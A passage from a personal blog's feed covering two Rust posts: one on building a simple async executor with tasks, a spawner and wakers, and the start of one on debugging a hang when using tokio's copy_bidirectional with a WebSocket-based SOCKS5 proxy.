from the channel and executes them in a large loop.</p><h2 id="Implementing-Task"><a href="#Implementing-Task" class="headerlink" title="Implementing Task"></a>Implementing Task</h2><p>Based on the above, we can simply pin a Future on the heap to obtain a BoxFuture, define the BoxFuture’s lifetime as static, and set Output to the unit type. In addition, because the Future may need to run on different threads, it needs to implement the Send and Sync traits. We can wrap the Future in a Mutex to obtain Sync and Send capabilities through Mutex. We can then define Task as follows:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Task</span> &#123;</span><br><span class="line">  future: Mutex&lt;<span class="type">Option</span>&lt;BoxFuture&lt;<span class="symbol">&#x27;static</span>, ()&gt;&gt;&gt;,</span><br><span class="line">  sync_sender: SyncSender&lt;Task&gt;, <span class="comment">// Submit the Task to the executor through the sender</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>To poll a Future, we need a waker so that wake can inform the executor that the Future is ready to run again. We expect a Task to submit itself to the executor again when woken, so we can implement the ArcWake trait for Task. This allows us to use <code>wake_ref()</code> or <code>into_waker()</code> to convert <code>Arc&lt;impl ArcWake&gt;</code> into a Waker. The concrete implementation is as follows: when woken, it sends the task to the channel again.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">ArcWake</span> <span class="keyword">for</span> <span class="title class_">Task</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">wake_by_ref</span>(arc_self: &amp;Arc&lt;<span class="keyword">Self</span>&gt;) &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">cloned</span> = arc_self.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">        arc_self</span><br><span class="line">            .task_sender</span><br><span class="line">            .<span class="title function_ invoke__">send</span>(cloned)</span><br><span class="line">            .<span class="title function_ invoke__">expect</span>(<span class="string">&quot;too many tasks queued&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Implementing-Spawner"><a href="#Implementing-Spawner" class="headerlink" title="Implementing Spawner"></a>Implementing Spawner</h2><p>Spwaner holds the channel’s sending end, whose contents are <code>Arc&lt;Task&gt;</code>.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Spwaner</span> &#123;</span><br><span class="line">  sync_sender: SyncSender&lt;Arc&lt;Task&gt;&gt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Why do we need Arc? <code>To make it convenient to use waker_ref() directly later</code> when constructing a Waker.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">waker_ref</span>&lt;W&gt;(wake: &amp;Arc&lt;W&gt;) <span class="punctuation">-&gt;</span> WakerRef&lt;<span class="symbol">&#x27;_</span>&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    W: ArcWake,</span><br><span class="line">&#123;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>We also need to implement the spwan method for Spawner so that it can submit Futures.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Spawner</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">spawn</span>(&amp;<span class="keyword">self</span>, future: <span class="keyword">impl</span> <span class="title class_">Future</span>&lt;Output = ()&gt; + <span class="symbol">&#x27;static</span> + <span class="built_in">Send</span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">future</span> = future.<span class="title function_ invoke__">boxed</span>();</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">task</span> = Arc::<span class="title function_ invoke__">new</span>(Task &#123;</span><br><span class="line">            future: Mutex::<span class="title function_ invoke__">new</span>(future),</span><br><span class="line">            sync_sender: <span class="keyword">self</span>.sync_sender.<span class="title function_ invoke__">clone</span>(),</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">self</span>.sync_sender.<span class="title function_ invoke__">send</span>(task).<span class="title function_ invoke__">expect</span>(<span class="string">&quot;too many tasks queued&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Implementing-Executor"><a href="#Implementing-Executor" class="headerlink" title="Implementing Executor"></a>Implementing Executor</h2><p>Executor holds the channel’s receiving end.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Executor</span> &#123;</span><br><span class="line">    receiver: Receiver&lt;Arc&lt;Task&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>We implement the run method for executor. Upon receiving a task, it first takes the future out of it, constructs a waker, then constructs a context, and finally polls the Future. Recall the TimerFuture implementation: when polling returns pending, we pass the waker to it, and when sleeping ends, this waker wakes the task.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Executor</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">run</span>(&amp;<span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Ok</span>(task) = <span class="keyword">self</span>.receiver.<span class="title function_ invoke__">recv</span>() &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">future_slot</span> = task.future.<span class="title function_ invoke__">lock</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(<span class="keyword">mut</span> future) = future_slot.<span class="title function_ invoke__">take</span>() &#123;</span><br><span class="line">                <span class="keyword">let</span> <span class="variable">waker</span> = <span class="title function_ invoke__">waker_ref</span>(&amp;task);</span><br><span class="line">                <span class="keyword">let</span> <span class="variable">cx</span> = &amp;<span class="keyword">mut</span> Context::<span class="title function_ invoke__">from_waker</span>(&amp;waker);</span><br><span class="line">                <span class="keyword">if</span> future.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll</span>(cx).<span class="title function_ invoke__">is_pending</span>() &#123;</span><br><span class="line">                    *future_slot = <span class="title function_ invoke__">Some</span>(future);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Getting-this-simple-executor-running"><a href="#Getting-this-simple-executor-running" class="headerlink" title="Getting this simple executor running"></a>Getting this simple executor running</h1><p>First, we need to create a Spwaner and an Executor.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new_executor_and_spawner</span>() <span class="punctuation">-&gt;</span> (Executor, Spawner) &#123;</span><br><span class="line">    <span class="keyword">const</span> MAX_QUEUED_TASKS: <span class="type">usize</span> = <span class="number">10_000</span>;</span><br><span class="line">    <span class="keyword">let</span> (sync_sender, receiver) = <span class="title function_ invoke__">sync_channel</span>(MAX_QUEUED_TASKS);</span><br><span class="line">    (Executor &#123; receiver &#125;, Spawner &#123; sync_sender &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Now we can complete the main method.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (executor, spawner) = <span class="title function_ invoke__">new_executor_and_spawner</span>();</span><br><span class="line"></span><br><span class="line">    spawner.<span class="title function_ invoke__">spawn</span>(<span class="keyword">async</span> &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;&#123;:?&#125;&quot;</span>, Instant::<span class="title function_ invoke__">now</span>());</span><br><span class="line">        TimerFuture::<span class="title function_ invoke__">new</span>(Duration::<span class="title function_ invoke__">new</span>(<span class="number">2</span>, <span class="number">0</span>)).<span class="keyword">await</span>;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;&#123;:?&#125;&quot;</span>, Instant::<span class="title function_ invoke__">now</span>());</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">drop</span>(spawner); <span class="comment">// The purpose of drop is to let the executor know there are no more tasks to run</span></span><br><span class="line">  </span><br><span class="line">    executor.<span class="title function_ invoke__">run</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h1><p>Implementing a simple executor is still relatively easy. The next step is to write a genuinely functional runtime based on mio. Now I have something to do during the National Day holiday, hehe.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Most of this article is based on &lt;a href=&quot;https://rust-lang.github.io/async-book/01_getting_started/01_chapter.html&quot;&gt;aysnc-book&lt;/a&gt; and explains how to implement a simple executor. The project is available at &lt;a href=&quot;https://github.com/suikammd/simple-executor&quot;&gt;simple-executor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Asynchronous programming in Rust involves three important concepts: Future, executor, and reactor. When an executor polls a Future, it passes a waker to the Future. The reactor then waits for the events involved in the Future and, when an event completes, uses this waker to wake the executor so that it can continue executing the Future.&lt;/p&gt;
&lt;h1 id=&quot;Future&quot;&gt;&lt;a href=&quot;#Future&quot; class=&quot;headerlink&quot; title=&quot;Future&quot;&gt;&lt;/a&gt;Future&lt;/h1&gt;&lt;p&gt;The core of asynchronous programming in Rust is the &lt;code&gt;Future&lt;/code&gt; trait. The Future trait has an associated type, Output, which is the result returned when the Future completes. The executor polls the Future step by step until it completes.&lt;/p&gt;
&lt;figure class=&quot;highlight rust&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;title class_&quot;&gt;Future&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[stable(feature = &lt;span class=&quot;string&quot;&gt;&amp;quot;futures_api&amp;quot;&lt;/span&gt;, since = &lt;span class=&quot;string&quot;&gt;&amp;quot;1.36.0&amp;quot;&lt;/span&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;title class_&quot;&gt;Output&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[lang = &lt;span class=&quot;string&quot;&gt;&amp;quot;poll&amp;quot;&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[stable(feature = &lt;span class=&quot;string&quot;&gt;&amp;quot;futures_api&amp;quot;&lt;/span&gt;, since = &lt;span class=&quot;string&quot;&gt;&amp;quot;1.36.0&amp;quot;&lt;/span&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;poll&lt;/span&gt;(&lt;span class=&quot;keyword&quot;&gt;self&lt;/span&gt;: Pin&amp;lt;&amp;amp;&lt;span class=&quot;keyword&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;Self&lt;/span&gt;&amp;gt;, cx: &amp;amp;&lt;span class=&quot;keyword&quot;&gt;mut&lt;/span&gt; Context&amp;lt;&lt;span class=&quot;symbol&quot;&gt;&amp;#x27;_&lt;/span&gt;&amp;gt;) &lt;span class=&quot;punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; Poll&amp;lt;&lt;span class=&quot;keyword&quot;&gt;Self&lt;/span&gt;::Output&amp;gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;When a Future is submitted to the executor, the executor polls it. If it returns &lt;code&gt;Poll::Ready(Result)&lt;/code&gt;, the Future is finished. If it returns &lt;code&gt;Poll::Pending&lt;/code&gt;, the Future needs to be submitted to the executor again the next time it can be polled. This is done by calling Waker’s wake method.&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>An Interesting Debugging Journey</title>
    <link href="https://suikammd.github.io/2021/09/22/record-a-weird-bug-fix-travel/"/>
    <id>https://suikammd.github.io/2021/09/22/record-a-weird-bug-fix-travel/</id>
    <published>2021-09-21T16:43:00.000Z</published>
    <updated>2026-11-19T12:58:15.310Z</updated>
    
    <content type="html"><![CDATA[<p>The Tokio library provides the <a href="https://docs.rs/tokio/1.6.1/tokio/io/fn.copy_bidirectional.html">copy_bidirectional</a> method, which makes it easy to copy data bidirectionally for data structures that implement <code>AsyncRead+AsyncWrite</code>. In my previous article (which is still being revised), I implemented a simple proxy based on WebSocket, using <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> as the WebSocket library.</p><p>Originally, I customized a function similar to bidirectional copying on the client side instead of directly using <code>copy_bidirectional</code>. This was because the WebSocketStream built on TcpStream by <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> did not implement <code>AsyncRead+AsyncWrite</code>. In addition, the WebSocketStream returned by <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> does not expose convenient read and write methods; it only implements Sink and Stream. However, it provides a <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/struct.WebSocketStream.html#method.split">split</a> method that separates the stream’s reads and writes. The split read half blindly writes the data it reads to TcpStream, while the split write half blindly writes data read from TcpStream to its own stream. The resulting problem is that when reads and writes are separated, there is no graceful way to detect a Close packet and exit the read and write flows described above. Here is a simple illustration of the original implementation:</p><span id="more"></span><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// copy data from websocket to tcp</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">server_read_from_websocket_to_tcp</span>&lt;T&gt;(</span><br><span class="line">    <span class="keyword">mut</span> tcp_stream: T,</span><br><span class="line">    websocket_stream: &amp;<span class="keyword">mut</span> SplitStream&lt;WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;&gt;,</span><br><span class="line">) <span class="punctuation">-&gt;</span> ProxyResult&lt;()&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    T: AsyncWrite + Unpin,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Some</span>(msg) = websocket_stream.<span class="title function_ invoke__">next</span>().<span class="keyword">await</span> &#123;</span><br><span class="line">        <span class="keyword">match</span> Packet::<span class="title function_ invoke__">to_packet</span>(msg?)? &#123;</span><br><span class="line">            Packet::<span class="title function_ invoke__">Connect</span>(_) =&gt; &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(ProxyError::<span class="title function_ invoke__">Unknown</span>(</span><br><span class="line">                    <span class="string">&quot;unexpected packet type `Connect`&quot;</span>.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">                ))</span><br><span class="line">            &#125;</span><br><span class="line">            Packet::<span class="title function_ invoke__">Data</span>(data) =&gt; tcp_stream.<span class="title function_ invoke__">write_all</span>(&amp;data).<span class="keyword">await</span>?,</span><br><span class="line">            Packet::<span class="title function_ invoke__">Close</span>() =&gt; <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(()),</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// copy data from tcp to websocket</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">server_read_from_tcp_to_websocket</span>&lt;T&gt;(</span><br><span class="line">    <span class="keyword">mut</span> tcp_stream: T,</span><br><span class="line">    websocket_sink: &amp;<span class="keyword">mut</span> SplitSink&lt;WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;, Message&gt;,</span><br><span class="line">) <span class="punctuation">-&gt;</span> ProxyResult&lt;()&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    T: AsyncRead + Unpin,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">loop</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">buffer</span> = <span class="built_in">vec!</span>[<span class="number">0</span>; <span class="number">1024</span>];</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">len</span> = tcp_stream.<span class="title function_ invoke__">read</span>(&amp;<span class="keyword">mut</span> buffer).<span class="keyword">await</span>?;</span><br><span class="line">        <span class="keyword">if</span> len == <span class="number">0</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">unsafe</span> &#123;</span><br><span class="line">            buffer.<span class="title function_ invoke__">set_len</span>(len);</span><br><span class="line">        &#125;</span><br><span class="line">        websocket_sink.<span class="title function_ invoke__">send</span>(Message::<span class="title function_ invoke__">binary</span>(buffer)).<span class="keyword">await</span>?;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Discovering-that-the-previously-working-curl-hung"><a href="#Discovering-that-the-previously-working-curl-hung" class="headerlink" title="Discovering that the previously working curl hung"></a>Discovering that the previously working curl hung</h3><p>I wanted to wrap this WebSocketStream myself and implement <code>AsyncRead + AsyncWrite</code> for it, so that I could use copy_bidirectional’s capabilities to handle some corner cases for me, such as connections disconnecting abnormally. In short, this would allow me to use <code>copy_bidirectional</code> directly, with inbound as TcpStream and outbound as WebSocketStream.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">_</span> = <span class="title function_ invoke__">copy_bidirectional</span>(&amp;<span class="keyword">mut</span> inbound, &amp;<span class="keyword">mut</span> outbound).<span class="keyword">await</span></span><br></pre></td></tr></table></figure><p>After painstakingly finishing the implementation, I expected it to work right away (hahaha, inexplicable confidence). I continued using curl to test the proxy.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -vvv --socks5 127.0.0.1:8081 t.cn</span><br></pre></td></tr></table></figure><p>I expected a 302 response, but curl hung instead.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">*   Trying 127.0.0.1:8081...</span><br><span class="line">* SOCKS5 connect to IPv4 47.95.48.149:80 (locally resolved)</span><br><span class="line">* SOCKS5 request granted.</span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 8081 (<span class="comment">#0)</span></span><br><span class="line">&gt; GET / HTTP/1.1</span><br><span class="line">&gt; Host: t.cn</span><br><span class="line">&gt; User-Agent: curl/7.78.0</span><br><span class="line">&gt; Accept: */*</span><br><span class="line">&gt; </span><br></pre></td></tr></table></figure><p>Could there be a problem with the <code>AsyncRead + AsyncWrite</code> implementation? I briefly reviewed the code but did not find any particularly obvious issues. Could it be a library problem? Once this thought occurred to me, I embarked on a long and indirect journey in search of a workaround.</p><h4 id="More-specific-symptoms"><a href="#More-specific-symptoms" class="headerlink" title="More specific symptoms"></a>More specific symptoms</h4><p>The code changes were only on the client side, but just in case, I still tried capturing packets on both the client and server to see whether either had a problem. Since the port of the WebSocket connection established between the client and server was difficult to determine, I decided to directly capture packets received and sent by the server.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo tcpdump -i lo -X dst port 8080</span><br><span class="line">sudo tcpdump -i lo -X src port 8080</span><br></pre></td></tr></table></figure><p>I found that the WebSocket handshake was fine, and the server also sent the 302 packet received from t.cn to the client. Since there was data on the connection, why couldn’t the client read it? Below is the client’s AsyncRead implementation (with the concrete implementation omitted). I added a log line before the actual implementation, so that <code>poll.....</code> should be printed during poll_read.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">AsyncRead</span> <span class="keyword">for</span> <span class="title class_">WebSocketStreamConnection</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_read</span>(</span><br><span class="line">        <span class="keyword">self</span>: std::pin::Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> std::task::Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;<span class="keyword">mut</span> ReadBuf&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;std::io::<span class="type">Result</span>&lt;()&gt;&gt; &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;poll.....&quot;</span>);</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>When I reran the code, the expected log was not printed. I then swapped the positions of inbound and outbound in <code>copy_bidrectional </code> and ran the code again. This time, the expected log was printed (at this point, I realized that the thread might be deadlocked rather than stuck in an infinite loop). Could Tokio’s implementation have a problem? Taking it one step further, could tokio_tungstenite’s implementation have a problem?</p><h3 id="Perhaps-Tokio’s-copy-bidirectional-had-gone-wrong"><a href="#Perhaps-Tokio’s-copy-bidirectional-had-gone-wrong" class="headerlink" title="Perhaps Tokio’s copy_bidirectional had gone wrong"></a>Perhaps Tokio’s copy_bidirectional had gone wrong</h3><p>(At this stage, I dug into the details of Tokio’s copy_bidirectional. Because I wanted to share this experience, I also looked at tokio_tungstenite’s implementation.)</p><h4 id="tokio-copy-bidrectional"><a href="#tokio-copy-bidrectional" class="headerlink" title="tokio copy_bidrectional"></a>tokio copy_bidrectional</h4><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">_</span> = <span class="title function_ invoke__">copy_bidirectional</span>(&amp;<span class="keyword">mut</span> inbound, &amp;<span class="keyword">mut</span> outbound).<span class="keyword">await</span></span><br></pre></td></tr></table></figure><p><code>copy_bidirectional</code> constructs a <code>CopyBidirectional</code> Future.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">CopyBidirectional</span>&lt;<span class="symbol">&#x27;a</span>, A: ?<span class="built_in">Sized</span>, B: ?<span class="built_in">Sized</span>&gt; &#123;</span><br><span class="line">    a: &amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> A,</span><br><span class="line">    b: &amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> B,</span><br><span class="line">    a_to_b: TransferState,</span><br><span class="line">    b_to_a: TransferState,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">TransferState</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">Running</span>(CopyBuffer),</span><br><span class="line">    <span class="title function_ invoke__">ShuttingDown</span>(<span class="type">u64</span>),</span><br><span class="line">    <span class="title function_ invoke__">Done</span>(<span class="type">u64</span>),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">struct</span> <span class="title class_">CopyBuffer</span> &#123;</span><br><span class="line">    read_done: <span class="type">bool</span>,</span><br><span class="line">    need_flush: <span class="type">bool</span>,</span><br><span class="line">    pos: <span class="type">usize</span>,</span><br><span class="line">    cap: <span class="type">usize</span>,</span><br><span class="line">    amt: <span class="type">u64</span>,</span><br><span class="line">    buf: <span class="type">Box</span>&lt;[<span class="type">u8</span>]&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The concrete poll implementation performs equivalent bidirectional copying for inbound and outbound.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">a_to_b</span> = <span class="title function_ invoke__">transfer_one_direction</span>(cx, a_to_b, &amp;<span class="keyword">mut</span> *a, &amp;<span class="keyword">mut</span> *b)?;</span><br><span class="line"><span class="keyword">let</span> <span class="variable">b_to_a</span> = <span class="title function_ invoke__">transfer_one_direction</span>(cx, b_to_a, &amp;<span class="keyword">mut</span> *b, &amp;<span class="keyword">mut</span> 